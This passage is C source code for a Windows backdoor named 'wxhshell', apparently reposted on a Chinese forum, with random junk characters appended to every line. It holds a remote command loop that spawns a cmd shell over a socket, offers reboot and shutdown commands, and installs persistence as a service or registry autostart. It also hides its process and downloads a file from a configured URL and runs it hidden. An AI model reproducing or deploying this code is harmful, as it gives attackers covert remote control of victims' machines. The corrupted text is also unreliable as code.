  else { vNHM e{,u  
>O|hN`  
    switch(cmd[0]) { 6D6=5!l  
  0X~Dxs   
  // 帮助 DTsc&.29^  
  case '?': { ;"wU+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p~$\@8@  
    break; p~DlZk"  
  } -9\O$I-3  
  // 安装 9T`xW]Zf  
  case 'i': { 'P39^rb  
    if(Install()) q$0^U{j/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iMYvCw/t6  
    else Ilsh Jo  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `yNNpSdS1  
    break; )d_)CuUBe  
    } &> p2N  
  // 卸载 +);o{wfW  
  case 'r': { (SU*fD!t  
    if(Uninstall()) ` L6H2:pf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7f~DD8R  
    else \bZbz/+D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l3)(aay!  
    break; z@{|Y;s  
    } ko>SnE|w#  
  // 显示 wxhshell 所在路径 2p8JqZMQb  
  case 'p': { G]=U=9ZI  
    char svExeFile[MAX_PATH]; 6P3ezl@#;  
    strcpy(svExeFile,"\n\r"); rKP"|+^  
      strcat(svExeFile,ExeFile); 9v_gR52vh  
        send(wsh,svExeFile,strlen(svExeFile),0); to(OVg7_  
    break; !f V.#9AB#  
    } 8HxB\ !0F?  
  // 重启 &H-39;?u  
  case 'b': { I7hPE7V+1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); M%1-fd  
    if(Boot(REBOOT)) j+88J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ) Tpc8Hr  
    else { )p).}"   
    closesocket(wsh); sbQmPV  
    ExitThread(0); RT F9;]Ti  
    } Z[slN5]([  
    break; /px*v<Aw1  
    } Yono8M;9*  
  // 关机 ~BaU2S@y  
  case 'd': { <~u.:x@ R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b=Zg1SqV  
    if(Boot(SHUTDOWN)) 4qrPAt  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kZWc(LwA  
    else { d]} 7]  
    closesocket(wsh); zZ[SC  
    ExitThread(0); Z: &"Ax  
    } P>0j]?RB  
    break; -!I.:97 N  
    } GKZn|<Y|{c  
  // 获取shell axxd W)+K  
  case 's': { @$F(({?  
    CmdShell(wsh); <u&uwD~A  
    closesocket(wsh); =5+M]y E<  
    ExitThread(0); _C)u#]t  
    break; &YmOXKf7  
  } fc+P`r  
  // 退出 gOx4qxy/m|  
  case 'x': { 4&R\6!*s  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); POtDge  
    CloseIt(wsh); Z=L' [6  
    break;  /e!/  
    } UFyGp>/06  
  // 离开 _r+9S.z  
  case 'q': { Qo0okir  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); o%+K S5v!  
    closesocket(wsh);  i('z~  
    WSACleanup(); a+{YTR>0m  
    exit(1); (|I0C 'Ki  
    break; |U8;25Y  
        } w-HgC  
  } ~lzV=c$t  
  } >hRYsWbmg  
KJ.ra\F  
  // 提示信息 ST'L \yebc  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'B8fc-n  
} +)qPUKb?  
  } [t: =%&B  
oB&s2~  
  return; M#=woj&[  
} \Nb6E&+  
s3uT:Xw3rW  
// shell模块句柄 s<sqO,!  
int CmdShell(SOCKET sock) +0^N#0)  
{ 1Yz1/gFj  
STARTUPINFO si;  UY+~,a  
ZeroMemory(&si,sizeof(si)); +VAfT\G2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; * ,_Qdr^F  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oYup*@t  
PROCESS_INFORMATION ProcessInfo; %_@8f|# ,M  
char cmdline[]="cmd"; 4_F<jx,G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bqS*WgMY-  
  return 0; /:z}WAW  
} 7 G~MqnO|  
!:c7I@  
// 自身启动模式 ' f}^/`J  
int StartFromService(void) yV$p(+KkS  
{ qusgX;)  
typedef struct BaR9X ?~O$  
{ ]Q6,,/nn  
  DWORD ExitStatus; Q5Y4@  
  DWORD PebBaseAddress; k#5S'sCF<  
  DWORD AffinityMask; $kZ,uvKN  
  DWORD BasePriority; ;k (}~_  
  ULONG UniqueProcessId; {1#5\t>9yD  
  ULONG InheritedFromUniqueProcessId; #Ru+|KL  
}   PROCESS_BASIC_INFORMATION; N{q5E,}  
$QNfy.6Tn  
PROCNTQSIP NtQueryInformationProcess; x|F6^d   
Lyt6DvAp"  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XFG]%y=/6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; \%mR*J+  
RgRyo  
  HANDLE             hProcess; e@L+z  
  PROCESS_BASIC_INFORMATION pbi; n`vqCO7@'  
f2uog$H k  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); v9x $`  
  if(NULL == hInst ) return 0; n"@3d.21  
4w*F!E2H\}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /+JCi6{sHS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ag:#82C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); V BIPB  
BXZ( %tnY  
  if (!NtQueryInformationProcess) return 0; !D7\$ g6g  
\X Nb9-  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '/z.\S  
  if(!hProcess) return 0; wrK$ZO]  
[<1i[\^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '+f!(teLz  
'gI58#v  
  CloseHandle(hProcess); j ;VYF  
QkGr{  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); O|4~$7  
if(hProcess==NULL) return 0; 3|/ ;`KfQ  
jdXkU  
HMODULE hMod; /n@_Ihx  
char procName[255]; e}(. u1  
unsigned long cbNeeded; *q|.H9 K(  
:2 QA#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Y^2Ma878  
:M1+[FT  
  CloseHandle(hProcess); y{!`4CxF  
UF,T  
if(strstr(procName,"services")) return 1; // 以服务启动 ^q%~K{'`-  
bxrByu~|1  
  return 0; // 注册表启动 q/m}+v]  
} z*zLK[t+  
u'yePJTE  
// 主模块 zw\"!=r^  
int StartWxhshell(LPSTR lpCmdLine) v:JFUn}  
{ \@MGO aR]  
  SOCKET wsl; +\"@2mOH{+  
BOOL val=TRUE; $`{}4,5M  
  int port=0; azj<aaH  
  struct sockaddr_in door; Y49kq}  
Vn=J$Uv0  
  if(wscfg.ws_autoins) Install(); _q3SR[k+`  
)Qw|)='-  
port=atoi(lpCmdLine); ln3x1^!  
D;BFl(l  
if(port<=0) port=wscfg.ws_port; 0:v7X)St  
P:ys--$"  
  WSADATA data; *Ty>-aS1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :3Ty%W&&  
{D1=TTr^  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B 8C3LP}?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {7Dc(gNS  
  door.sin_family = AF_INET; i T 4H@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); + #S]uC  
  door.sin_port = htons(port); Kqhj=B  
gAv?\9=a)W  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { C\$7C5/  
closesocket(wsl); IB(IiF5  
return 1; AGLzA+6M  
} {3_M&$jN  
@zsr.d6Q  
  if(listen(wsl,2) == INVALID_SOCKET) { #/\FB'zC  
closesocket(wsl); x*Z"~'DI  
return 1; 4&$hBn=!  
} >]ZojdOl)  
  Wxhshell(wsl); ^~=o?VtBg  
  WSACleanup(); `.L8<-]W  
4)v\Dc/9i  
return 0; < g6 [mS  
KXicy_@DC`  
} wQPjo!FEX  
Z~T- *1V  
// 以NT服务方式启动 8Ln:y'K  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MbY a6jrF  
{ @>X."QbE  
DWORD   status = 0; Zt[ P kBi  
  DWORD   specificError = 0xfffffff; pg4M$;ED  
FjkE^o>  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >"zSW?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1ub03$pL;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h=d&@k\g  
  serviceStatus.dwWin32ExitCode     = 0; 4;w_o9o  
  serviceStatus.dwServiceSpecificExitCode = 0; L_ 8C=MS  
  serviceStatus.dwCheckPoint       = 0; 5#QB&A>  
  serviceStatus.dwWaitHint       = 0; 4V43(G  
#G)ZhgB^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `S$BBF;  
  if (hServiceStatusHandle==0) return; 8I@= ?  
MJ}VNv|S  
status = GetLastError(); ,^AkfOY7"  
  if (status!=NO_ERROR) *( D_g!a  
{ CFRo>G  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z~z.J ]  
    serviceStatus.dwCheckPoint       = 0; DC[ -<:B  
    serviceStatus.dwWaitHint       = 0; ;9B:E"K?@1  
    serviceStatus.dwWin32ExitCode     = status; }6^(  
    serviceStatus.dwServiceSpecificExitCode = specificError; B0Xn9Tvk  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q'$aFl'NR  
    return; zzq/%jki  
  } q SCt= eQ  
JK[7&C-O  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; t?YGGu^  
  serviceStatus.dwCheckPoint       = 0; olK%TM[Y  
  serviceStatus.dwWaitHint       = 0; ~[ve?51  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cJi5\<b  
} //V?rs  
(nvSB}?  
// 处理NT服务事件,比如:启动、停止 WlWBYnphZs  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  <&$!;d8  
{ ^XZm tB  
switch(fdwControl) Q8z>0ci3o  
{ mQo]k  
case SERVICE_CONTROL_STOP: H^'*F->BA  
  serviceStatus.dwWin32ExitCode = 0; z@T;N'EM  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; (Ozb+W?  
  serviceStatus.dwCheckPoint   = 0; L7a+ #mGE  
  serviceStatus.dwWaitHint     = 0; H'Z[3e  
  { 4i/TEHQ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -kQ{~"> w  
  } )0qXZ gs  
  return; ?z Ms;  
case SERVICE_CONTROL_PAUSE: qC`"<R=GX  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ?$=N!>P#  
  break; l3l[jDa,2  
case SERVICE_CONTROL_CONTINUE: .`xcR]PQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Wm Od1  
  break; 8.]dThaq  
case SERVICE_CONTROL_INTERROGATE: 8c]\4iau  
  break; pS0-<-\R  
}; -pa.-@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "+saI@G  
} '<4OA!,^)  
cZ^$!0  
// 标准应用程序主函数 ;'2y6"\Y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +,c;Dff  
{ k{"~G#GwP  
ad i5h  
// 获取操作系统版本 F;`of  
OsIsNt=GetOsVer(); ROQk^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?ew^%1!W.  
*A c~   
  // 从命令行安装 h/eKVRGs"  
  if(strpbrk(lpCmdLine,"iI")) Install(); M(?|$$   
IExQ}I  
  // 下载执行文件 L-G186B$r  
if(wscfg.ws_downexe) { 2ORWdR.b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 9r\8  !R  
  WinExec(wscfg.ws_filenam,SW_HIDE); kc/h]B  
} "wexG]R=5  
P|_?{1eO2  
if(!OsIsNt) { sR?_{rQ  
// 如果时win9x,隐藏进程并且设置为注册表启动 ?ix0n,m  
HideProc(); |w /txn8G|  
StartWxhshell(lpCmdLine); cGOE$nL  
} z9;vE7n!  
else _lyP7$[: c  
  if(StartFromService()) }u:^Mz  
  // 以服务方式启动 uTB; Bva  
  StartServiceCtrlDispatcher(DispatchTable); JL;H:`x  
else BQ_\8Qt|  
  // 普通方式启动 POUB{ba  
  StartWxhshell(lpCmdLine); [J-r*t"!  
;@v7AF6Hq  
return 0; `acorfpi  
}
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只看该作者 1 发表于: 2006-10-10
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